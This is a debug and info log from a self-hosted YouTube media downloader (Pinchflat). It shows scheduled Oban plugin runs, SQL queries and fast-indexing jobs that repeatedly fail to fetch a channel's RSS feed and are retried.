[info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.131 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:25.857 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:55.858 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.132 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:25.859 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:55.861 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.132 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:25.862 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:55.863 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.133 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:25.864 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:55.865 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.135 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:25.866 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:55.867 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.135 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:25.868 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:53.211 [info] {"args":{"id":3},"id":549,"meta":{},"system_time":1784875433211229604,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:43:53.211 [debug] QUERY OK source="sources" db=0.0ms idle=46.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:43:53.211 [debug] QUERY OK source="settings" db=0.0ms idle=46.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:43:53.211 [debug] QUERY OK source="media_profiles" db=0.0ms idle=47.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:43:53.212 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:43:53.212 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:43:53.762 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":549,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":550619,"event":"job:exception","queue_time":524148,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:43:55.869 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.137 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:12.230 [info] {"args":{"id":3},"id":549,"meta":{},"system_time":1784875452230238326,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:44:12.230 [debug] QUERY OK source="sources" db=0.0ms idle=1065.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:44:12.230 [debug] QUERY OK source="settings" db=0.0ms idle=1065.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:44:12.230 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:44:12.230 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:44:12.230 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:44:12.575 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:44:12.575 [debug] QUERY OK source="media_items" db=0.4ms idle=345.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:44:12.579 [debug] QUERY OK source="media_items" db=3.4ms idle=345.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:44:12.580 [debug] QUERY OK source="tasks" db=0.0ms idle=349.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [550, 3, ~U[2026-07-24 06:44:12Z], ~U[2026-07-24 06:44:12Z]] 06:44:12.580 [info] {"args":{"id":3},"id":549,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":350200,"event":"job:stop","queue_time":467779,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:44:25.870 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:55.871 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.138 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:25.872 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:55.873 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.138 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:25.874 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:55.876 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.139 [info] {"source":"oban","duration":126,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:25.877 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:55.878 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.141 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:25.879 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:55.880 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.142 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:25.881 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:55.882 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.143 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:25.883 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:55.884 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.144 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:25.885 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:55.886 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.144 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:25.887 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:55.888 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.146 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:25.889 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:55.890 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.147 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:12.885 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876052885130585,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:12.885 [debug] QUERY OK source="sources" db=0.0ms idle=1720.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:54:12.885 [debug] QUERY OK source="settings" db=0.0ms idle=1720.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:12.885 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:54:12.885 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:12.885 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:54:13.145 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":259222,"event":"job:exception","queue_time":305178,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:25.892 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:31.905 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876071905496651,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:31.905 [debug] QUERY OK source="sources" db=0.1ms idle=1740.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:54:31.905 [debug] QUERY OK source="settings" db=0.0ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:31.906 [debug] QUERY OK source="media_profiles" db=0.1ms idle=741.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:54:31.906 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:31.906 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:54:32.093 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186931,"event":"job:exception","queue_time":760077,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:52.927 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876092927474335,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:52.927 [debug] QUERY OK source="sources" db=0.1ms idle=1762.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:54:52.927 [debug] QUERY OK source="settings" db=0.1ms idle=1762.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:52.928 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:54:52.928 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:54:52.928 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:54:53.039 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110952,"event":"job:exception","queue_time":834123,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:54:55.893 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.148 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:16.951 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876116951152668,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:55:16.951 [debug] QUERY OK source="sources" db=0.1ms idle=1006.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:55:16.951 [debug] QUERY OK source="settings" db=0.1ms idle=786.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:55:16.951 [debug] QUERY OK source="media_profiles" db=0.1ms idle=786.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:55:16.951 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:55:16.951 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:55:17.139 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":550,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":187677,"event":"job:exception","queue_time":911998,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:55:25.894 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:50.988 [info] {"args":{"id":3},"id":550,"meta":{},"system_time":1784876150988746452,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:55:50.989 [debug] QUERY OK source="sources" db=0.0ms idle=824.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:55:50.989 [debug] QUERY OK source="settings" db=0.0ms idle=824.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:55:50.989 [debug] QUERY OK source="media_profiles" db=0.0ms idle=824.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:55:50.989 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 